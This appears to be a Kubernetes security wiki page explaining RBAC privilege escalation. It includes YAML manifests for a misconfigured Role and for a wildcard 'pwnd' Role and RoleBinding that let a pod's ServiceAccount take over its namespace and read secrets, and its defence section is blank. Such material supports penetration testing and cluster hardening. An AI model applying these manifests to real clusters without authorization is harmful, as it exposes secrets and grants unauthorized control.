Cluster-admin binding

The cluster-admin ClusterRole is a default ClusterRole in Kubernetes. This is a super user that can perform any action on any resource in the cluster. Think of this as the root user of a cluster. If an attacker is somehow allowed the ability to apply RoleBindings or ClusterRoleBindings, they could escalate to cluster-admin. It's important to note that this is fairly unlikely to be a direct attack path due to the way Kubernetes handles RBAC.

Kubernetes RBAC has an interesting way of preventing privilege escalation. Essentially, you cannot create permissions that you do not already have unless you have the escalate verb RBAC for your Role or ClusterRole. You can see that even though this account is allowed to create roles, RBAC is not allowing me to create a role that doesn't have permissions my current role doesn't have.

Namespace Admin Privilege Escalation

Although RBAC does it's best to not allow privilege escalation, it can still be possible if the Role associated with a ServiceAccount has either the escalate verb or a * for the RoleBinding and Role resource. The following Role applied to a ServiceAccount will allow an attacker to gain full control over the namespace due to the Role and RoleBinding resources being granted the access to all the RBAC verbs (including escalate).

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: pod-view
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create","get", "watch", "list"]
- apiGroups: ["*"]
  resources: ["roles"]
  verbs: ["*"]
- apiGroups: ["*"]
  resources: ["rolebindings"]
  verbs: ["*"]

The attack path for this is to create a new Role and Rolebinding and apply it to the ServiceAccount context we are operating under when inside pod.

The following Role named pwnd grants essentially admin powers over all resources in all apiGroups.

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default 
  name: pwnd 
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

The following RoleBinding will bind the role pwnd to the ServiceAccount pod-view

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: pwnd 
  namespace: default 
roleRef: # points to the Role
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: pwnd # name of Role
subjects: # points to the ServiceAccount
- kind: ServiceAccount
  name: pod-view 
  namespace: default # ns of service account

Since we have a * in the RBAC permissions for roles and rolebindings, we can submit this Role and Rolebinding to the API server from the pod. After creating them, running kubectl auth can-i --list shows us that we are now essentially an admin within our namespace.

To prove that we have further escalated our privileges, we can attempt to take an action we we previously were not able to take such as listing secrets in the namespace.

Defending

Pull requests needed ❤️